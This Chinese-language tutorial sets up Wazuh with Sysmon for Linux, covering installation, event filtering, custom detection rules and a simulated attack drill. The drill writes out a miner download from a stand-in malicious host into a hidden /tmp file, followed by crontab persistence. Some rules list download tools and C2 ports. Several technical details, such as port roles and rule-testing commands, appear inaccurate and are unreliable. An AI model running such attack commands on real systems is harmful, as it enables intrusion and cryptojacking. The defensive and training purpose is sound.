Wazuh与Sysmon for Linux组合:构建Linux主机深度安全监控体系

发布时间:2026/6/26 5:19:33

Wazuh与Sysmon for Linux组合:构建Linux主机深度安全监控体系 1. 项目概述为什么需要Wazuh与Sysmon for Linux的组合在当前的运维与安全领域监控Linux系统的安全事件和行为早已不是简单的日志收集。传统的/var/log/secure、auditd日志虽然提供了基础信息但在面对高级威胁、内部风险或需要深度行为分析时往往显得力不从心。它们像是监控摄像头的标清画面能告诉你“有人进来了”但看不清他具体做了什么、碰了哪些文件、执行了什么命令。这正是Wazuh与Sysmon for Linux组合大显身手的地方。Wazuh本身是一个强大的开源安全监控平台集成了HIDS主机入侵检测、日志分析、合规性检查等多种能力。它的核心引擎之一就是基于规则的实时告警。你可以把它理解为一个7x24小时不眠不休的安全分析员但这位分析员需要明确的“检查清单”才能工作——这份清单就是规则Rules。而Sysmon for LinuxSystem Monitor for Linux则是一个由微软Sysinternals套件移植而来的系统活动监控工具它的职责是充当一个超级详细的“行为记录仪”以极高的粒度记录进程创建、网络连接、文件创建、注册表在Linux下是配置文件修改等事件。那么将两者结合的逻辑就非常清晰了用Sysmon for Linux生成高质量、高保真的“原始行为数据”再用Wazuh强大的规则引擎对这些数据进行实时分析和告警。这相当于给Wazuh这位分析员配备了一台4K高清、带红外夜视的摄像机让他能基于更清晰、更丰富的画面做出更精准、更及时的判断。例如一个恶意脚本在/tmp目录下创建了一个隐藏的可执行文件并试图连接外部C2服务器这一系列行为会被Sysmon详细记录并被Wazuh的规则迅速关联分析触发一条高优先级告警而不是淹没在浩如烟海的普通系统日志中。这套组合拳特别适合需要满足等保、PCI DSS等合规要求的场景或是那些对服务器安全有极高要求的金融、互联网企业。它不仅能检测外部攻击更能洞察内部的异常行为比如特权用户的滥用、敏感数据的异常访问等。2. 核心组件解析Wazuh规则引擎与Sysmon for Linux事件在深入配置之前我们必须先理解手中的“武器”。Wazuh的规则和Sysmon的事件是这套监控体系的基石它们的结构和逻辑决定了我们监控的精度和广度。2.1 Wazuh规则引擎的工作原理与结构Wazuh的规则引擎是其大脑。它持续不断地接收来自代理Agent发送的日志数据解码后的然后逐条与预定义的规则进行匹配。一条完整的Wazuh规则通常包含以下几个关键部分规则ID (rule.id): 唯一标识符通常按威胁等级或功能模块分段。例如100000系列可能是系统启动/关闭55000系列可能是集成应用如Apache的规则而87100系列则专门用于处理Sysmon事件。规则等级 (rule.level): 定义事件的严重程度范围0-15。等级越高威胁越大。例如一次失败的SSH登录尝试可能是3级低而检测到一个已知的恶意软件哈希值可能就是15级严重。描述 (rule.description): 用人类可读的语言说明这条规则检测的是什么。匹配条件 (rule.condition): 这是规则的核心定义了触发该规则所需满足的日志字段条件。它使用Wazuh自有的语法可以组合field、value和逻辑运算符如and,or,not。解码器 (decoder): 在规则匹配之前原始日志需要先被“解码”。解码器的作用是从杂乱无章的日志行中提取出结构化的字段field。例如从一条Syslog中提取出timestamp、hostname、program和message。对于Sysmon事件有专门的解码器来解析其JSON或XML格式的输出。一个简单的规则示例用于检测SSH暴力破解group namesyslog,sshd, rule id5710 level5 decoded_assshd/decoded_as matchFailed password for/match descriptionSSHD authentication failed./description /rule !-- 基于此基础规则可以定义更高级的规则例如在短时间内多次触发5710规则则触发更高级别的规则 -- rule id5712 level10 frequency8 timeframe120 if_matched_sid5710/if_matched_sid same_source_ip / descriptionMultiple SSHD authentication failures./description /rule /group这里5710是基础规则匹配单次失败。5712是复合规则它在2分钟120秒内看到来自同一源IP的8次5710事件后会触发一个更高级别10级的告警。注意Wazuh的规则文件通常位于管理端的/var/ossec/etc/rules/目录下。自定义规则应放在独立的文件中如local_rules.xml以避免升级时被覆盖。2.2 Sysmon for Linux 事件详解Sysmon for Linux通过向Linux内核注入模块eBPF来捕获系统调用从而记录深度系统活动。它的事件以JSON格式输出结构清晰信息量巨大。以下是一些最关键的事件类型及其字段EventID 1: Process creation (进程创建)这是最核心的事件之一。任何新进程的诞生都会被记录。关键字段:CommandLine: 进程启动的命令行。这是分析恶意命令的黄金字段。Image: 进程映像路径即可执行文件路径。User: 执行进程的用户。ParentCommandLine: 父进程的命令行。用于分析进程链识别如bash-curl-sh这样的可疑链。Hashes: 文件的哈希值MD5, SHA1, SHA256可用于文件信誉检查。EventID 3: Network connection (网络连接)记录进程建立的TCP/UDP连接。关键字段:DestinationIp,DestinationPort: 目标地址和端口。SourceIp,SourcePort: 源地址和端口。Image: 发起连接的进程。User: 发起连接的用户。Protocol: 协议类型。EventID 11: File creation (文件创建)记录文件在磁盘上的创建时间Create操作。关键字段:TargetFilename: 被创建文件的完整路径。Image: 创建文件的进程。CreationUtcTime: 创建时间。EventID 12, 13, 14: Registry/Configuration modification (配置修改)虽然“注册表”是Windows概念但在Linux下Sysmon可以监控关键配置文件如/etc/passwd,/etc/crontab的修改。这对于检测后门账户、计划任务持久化等行为至关重要。EventID 7: Image loaded (镜像加载)记录进程加载动态链接库DLL/so的行为。可用于检测进程注入或恶意模块加载。Sysmon的配置文件XML格式允许你精细地控制监控范围。你可以选择只监控特定路径、排除可信进程或者只关注某些类型的事件这能有效减少数据噪音提升监控效率。3. 环境准备与组件部署理论清晰后我们开始动手搭建。一个标准的监控架构包含Wazuh管理端Manager、被监控的Linux主机Agent以及Sysmon for Linux的安装。3.1 Wazuh集群基础环境搭建假设我们已有一台Wazuh管理服务器IP:192.168.1.100和一台需要被监控的Ubuntu 22.04 Linux主机IP:192.168.1.101。在Wazuh管理端192.168.1.100安装Wazuh管理端按照官方文档通常是一行安装命令。安装完成后管理端会监听在1514端口接收Agent日志、1515端口Agent注册和55000端口Dashboard访问。获取Agent安装包和密钥安装后我们需要为Linux主机生成一个唯一的认证密钥并获取Agent安装包。# 在Wazuh管理端执行为Agent生成密钥 /var/ossec/bin/manage_agents -l # 列出已有Agent /var/ossec/bin/manage_agents -a # 添加新Agent输入Agent名称如web-server-01和IP192.168.1.101会生成一个唯一密钥复制下来。在被监控Linux主机192.168.1.101安装Wazuh Agent# 添加Wazuh仓库并安装 curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo gpg --no-default-keyring --keyring /usr/share/keyrings/wazuh.gpg --import echo deb [signed-by/usr/share/keyrings/wazuh.gpg] https://packages.wazuh.com/4.x/apt/ stable main | sudo tee -a /etc/apt/sources.list.d/wazuh.list sudo apt-get update sudo apt-get install wazuh-agent配置Agent并启动# 编辑Agent配置文件指向管理端 sudo vim /var/ossec/etc/ossec.conf # 找到 address 部分修改为 address192.168.1.100/address port1514/port protocoltcp/protocol# 导入之前从管理端复制的密钥 sudo /var/ossec/bin/manage_agents -i 粘贴你的密钥 # 启动Agent服务 sudo systemctl start wazuh-agent sudo systemctl enable wazuh-agent此时在Wazuh管理端的Web界面通常通过Nginx/Apache代理在55000端口应该能看到新Agent注册成功状态为“Active”。3.2 Sysmon for Linux 安装与基础配置接下来在被监控主机上安装Sysmon让它开始生成我们需要的高质量事件。下载与安装 Sysmon for Linux的安装相对简单。我们需要从微软的GitHub仓库获取最新版本。# 下载最新版本的Sysmon for Linux wget https://github.com/Sysinternals/SysmonForLinux/releases/latest/download/sysmon -O /tmp/sysmon # 赋予执行权限 sudo chmod x /tmp/sysmon # 安装这会将sysmon复制到/usr/bin/并加载eBPF模块 sudo /tmp/sysmon -i安装过程会提示你接受许可协议。安装完成后Sysmon会以后台服务sysmon形式运行并开始记录事件。验证安装与默认配置# 检查Sysmon服务状态 sudo systemctl status sysmon # 查看Sysmon日志默认输出到syslog/journald也会写入/var/log/sysmon.log sudo tail -f /var/log/sysmon.log默认配置会监控大部分系统活动这可能会产生大量日志。对于生产环境我们需要一个定制化的配置文件。创建定制化Sysmon配置文件 我们创建一个基础的配置文件专注于关键安全事件并适当排除一些噪音。!-- sysmon-config.xml -- Sysmon schemaversion4.90 EventFiltering !-- 进程创建记录所有但排除一些常见可信路径 -- ProcessCreate onmatchexclude Image conditionend with/usr/bin/cron/Image Image conditionend with/usr/sbin/CRON/Image Image conditionend with/usr/lib/systemd/systemd/Image /ProcessCreate !-- 网络连接只记录远程连接目标非本地 -- NetworkConnect onmatchinclude DestinationIp conditionis not127.0.0.1/DestinationIp DestinationIp conditionis not::1/DestinationIp /NetworkConnect !-- 文件创建重点关注临时目录和敏感目录 -- FileCreate onmatchinclude TargetFilename conditioncontains/tmp/TargetFilename TargetFilename conditioncontains/dev/shm/TargetFilename TargetFilename conditioncontains/etc/TargetFilename TargetFilename conditioncontains/root/TargetFilename /FileCreate !-- 配置文件修改监控关键系统文件 -- RegistryEvent onmatchinclude TargetObject conditioncontains/etc/passwd/TargetObject TargetObject conditioncontains/etc/shadow/TargetObject TargetObject conditioncontains/etc/crontab/TargetObject TargetObject conditioncontains/etc/ssh/sshd_config/TargetObject /RegistryEvent /EventFiltering /Sysmon这个配置做了几件事排除了cron、systemd等系统进程产生的常规进程创建噪音只记录对外非本机的网络连接只监控/tmp、/etc等敏感位置的文件创建重点监控几个关键系统配置文件的修改。应用新配置sudo sysmon -c sysmon-config.xml使用-c参数加载新的配置文件。Sysmon会重新加载规则并立即生效。4. Wazuh规则配置实战从Sysmon事件到安全告警现在Sysmon已经在生产高质量的事件日志了。但这些JSON日志对于Wazuh来说还是“原材料”。我们需要配置Wazuh的解码器和规则来“理解”并“分析”这些事件。4.1 配置Wazuh解码Sysmon事件首先Wazuh Agent需要知道如何收集Sysmon的日志。编辑Agent的配置文件sudo vim /var/ossec/etc/ossec.conf在ossec_config块内添加以下配置来告诉Agent监控Sysmon的日志文件localfile location/var/log/sysmon.log/location log_formatjson/log_format label keytimestamptimestamp/label /localfile这里指定了日志路径、格式为JSON并映射了时间戳字段。保存后重启Agentsudo systemctl restart wazuh-agent。接下来在Wazuh管理端我们需要配置解码器。Wazuh通常已经内置了Sysmon for Linux的解码器在/var/ossec/etc/decoders/目录下如sysmon_decoders.xml。我们需要确保它被正确引用。编辑管理端的/var/ossec/etc/ossec.conf检查ruleset部分是否包含了相关解码器文件。通常默认是包含的。4.2 编写自定义Wazuh规则检测威胁内置的Sysmon规则如sysmon_rules.xml提供了一些基础检测。但真正的威力来自于根据自身环境定制的规则。我们创建自定义规则文件/var/ossec/etc/rules/local_sysmon_rules.xml。场景一检测可疑进程创建链攻击者常通过web服务如apache或nginx用户执行bash再下载curl/wget最后执行恶意脚本。group namesysmon, !-- 规则ID从100000开始避免与内置规则冲突 -- rule id100001 level10 decoded_assysmon/decoded_as field namesysmon.event_id1/field !-- 进程创建事件 -- field namesysmon.userwww-data/field !-- web服务用户 -- field namesysmon.image typepcre2/bin/(bash|sh|dash)$/field !-- 执行了shell -- descriptionSysmon - Web service user started a shell./description /rule rule id100002 level12 if_sid100001/if_sid timeframe30/timeframe !-- 30秒时间窗口 -- field namesysmon.event_id1/field field namesysmon.parent_image typepcre2/bin/(bash|sh|dash)$/field field namesysmon.image typepcre2/usr/bin/(curl|wget)$/field descriptionSysmon - Suspicious process chain: Shell spawned download tool./description /rule /group规则100001检测www-data用户启动shell。规则100002是一个关联规则它在100001触发后的30秒内检测到由shell父进程发起的curl或wget下载行为从而将告警等级提高到12。场景二检测敏感目录下的可疑文件创建监控/tmp或/dev/shm目录下创建了隐藏文件或可执行文件。rule id100010 level8 decoded_assysmon/decoded_as field namesysmon.event_id11/field !-- 文件创建事件 -- field namesysmon.target_filename typepcre2^(/tmp|/dev/shm)/\.\w/field !-- 隐藏文件 -- descriptionSysmon - Hidden file created in temporary directory./description /rule rule id100011 level10 decoded_assysmon/decoded_as field namesysmon.event_id11/field field namesysmon.target_filename typepcre2^(/tmp|/dev/shm).*\.(sh|py|pl|elf|bin)$/field !-- 可执行脚本或二进制 -- descriptionSysmon - Executable file created in temporary directory./description /rule场景三检测对外网络连接中的可疑端口检测进程连接到常见的C2命令与控制服务器端口或矿池端口。rule id100020 level10 decoded_assysmon/decoded_as field namesysmon.event_id3/field !-- 网络连接事件 -- field namesysmon.destination_port typepcre2^(4444|5555|6666|7777|8333|9333|9999)$/field descriptionSysmon - Outbound connection to known suspicious port./description /rule你可以根据威胁情报不断扩充这个端口列表。编写完规则后保存文件。Wazuh管理端会自动加载/var/ossec/etc/rules/目录下新的规则文件。你可以通过以下命令检查规则加载和测试# 在管理端测试规则语法 /var/ossec/bin/verify-agent-conf # 或者重启管理端服务以加载新规则 sudo systemctl restart wazuh-manager4.3 规则调优与性能考量规则不是越多越好。不当的规则会导致告警疲劳大量低价值告警淹没真正的高危告警。性能损耗每条日志都要匹配大量规则增加管理端CPU和内存负担。调优建议从高价值规则开始优先部署检测勒索软件、挖矿、横向移动、权限提升等关键攻击链的规则。善用“排除列表”list将公司内部合法的管理IP、CI/CD服务器IP、已知的管理员工具路径等加入白名单列表在规则中引用它们进行排除可以大幅减少误报。合理设置规则等级不要将所有规则都设为高级别。一次失败的登录尝试是3级但来自境外IP的暴力破解尝试可以提到8级。使用频率规则对于扫描、爆破等行为使用frequency和timeframe参数来检测在特定时间窗口内的重复事件这比单次事件告警更有意义。定期审计与更新每周或每两周回顾一下告警仪表板看看哪些规则触发最多是误报还是真威胁根据审计结果调整规则条件或排除项。同时关注Wazuh和Sysmon社区的规则更新吸收新的检测思路。5. 实战演练模拟攻击与告警验证配置完成后最好的测试就是模拟一次真实的攻击。我们假设一个攻击者通过Web漏洞获得了www-data用户的权限并尝试进行内网探测和持久化。攻击链模拟初始访问攻击者上传了一个Web Shell到/var/www/html/vendor/backdoor.php。这一步可能由Web应用防火墙或WAF规则检测我们这里主要看后续主机行为。执行命令通过Web Shell攻击者执行了whoami; id。信息收集执行ifconfig; netstat -antp查看网络信息。下载恶意负载从外部服务器下载一个挖矿脚本curl -s http://malicious-site.com/xmrig -o /tmp/.systemd-cache chmod x /tmp/.systemd-cache。建立持久化尝试修改/etc/crontab添加定时任务echo \*/5 * * * * root /tmp/.systemd-cache\ /etc/crontab。横向移动尝试使用获取的密码尝试SSH到内网另一台主机192.168.1.102。Wazuh告警验证登录Wazuh Dashboard进入Security Events模块设置时间过滤器为最近10分钟。你应该能看到类似以下告警根据你配置的规则告警1 (规则 100001)Sysmon - Web service user started a shell.详细信息用户www-data执行了/bin/bash。告警2 (规则 100002)Sysmon - Suspicious process chain: Shell spawned download tool.详细信息在告警1之后由/bin/bash父进程启动了/usr/bin/curl下载了文件到/tmp/.systemd-cache。这是一个高关联性告警。告警3 (规则 100011)Sysmon - Executable file created in temporary directory.详细信息在/tmp目录下创建了可执行文件.systemd-cache。告警4 (规则 100050假设你配置了监控/etc/crontab的规则)Sysmon - Critical system file modified.详细信息进程/bin/bash修改了文件/etc/crontab。告警5 (内置规则 5710, 5712)Multiple SSHD authentication failures.详细信息从本机IP (192.168.1.101) 对192.168.1.102进行了多次失败的SSH认证尝试。通过Dashboard的事件统计和规则分布图表你可以清晰地看到这次“攻击”触发的所有告警及其等级分布。点击任意告警可以展开看到完整的原始Sysmon事件JSON里面包含了命令行、用户、父进程、哈希等所有细节为安全分析提供了丰富的上下文。6. 高级技巧与运维心得经过一段时间的运行你会积累一些让这套系统更高效、更贴合业务的经验。1. 利用Wazuh的主动响应功能规则不仅可以告警还可以触发自动响应。例如当检测到高置信度的挖矿行为如连接到矿池端口且CPU异常时可以自动执行响应脚本封锁攻击者IP或隔离受感染主机。!-- 在规则中增加主动响应 -- rule id100100 level12 decoded_assysmon/decoded_as field namesysmon.event_id3/field field namesysmon.destination_port3333/field !-- 假设是XMRig矿池端口 -- descriptionSysmon - Possible cryptocurrency mining activity detected./description groupattack,/group !-- 触发名为firewall-drop的主动响应命令 -- actionsfirewall-drop/actions /rule你需要在管理端的/var/ossec/etc/ossec.conf中预先定义好firewall-drop这个命令指向一个添加iptables规则的脚本。2. 集成外部威胁情报Wazuh支持与VirusTotal、Cymon等威胁情报平台集成。你可以编写规则将Sysmon事件中的文件哈希sysmon.hashes或目标IPsysmon.destination_ip发送到这些平台进行查询如果返回恶意结果则动态提升告警等级。rule id100200 level3 decoded_assysmon/decoded_as field namesysmon.event_id1/field descriptionSysmon - New process created, sending hash for VT check./description !-- 这里会调用集成的VirusTotal模块 -- /rule3. 性能监控与日志轮转Sysmon日志/var/log/sysmon.log文件会快速增长。务必配置logrotate进行定期轮转和压缩避免撑满磁盘。# /etc/logrotate.d/sysmon /var/log/sysmon.log { daily rotate 7 compress delaycompress missingok notifempty create 640 root adm postrotate systemctl reload sysmon /dev/null 21 || true endscript }Wazuh管理端负载监控管理端的CPU、内存和磁盘I/O。如果Agent数量众多数百上千考虑部署多管理节点集群并启用agent.conf的负载均衡。4. 规则的管理与版本控制将自定义的规则文件local_sysmon_rules.xml、排除列表、主动响应脚本等纳入Git版本控制系统。这有助于团队协作、变更追溯和灾难恢复。每次修改前做好备份并在测试环境验证后再推送到生产环境。5. 最重要的心得告警不是终点而是起点。WazuhSysmon提供了强大的检测能力但它生成的是“告警”不是“结论”。最终是否需要介入、如何处置需要安全分析师结合业务上下文进行判断。因此建立清晰的告警分级、分派和响应流程SOAR将技术工具融入整个安全运营体系才能真正发挥其价值。定期进行攻防演练用模拟攻击检验规则的有效性并不断迭代优化是保持这套监控体系生命力的关键。

相关新闻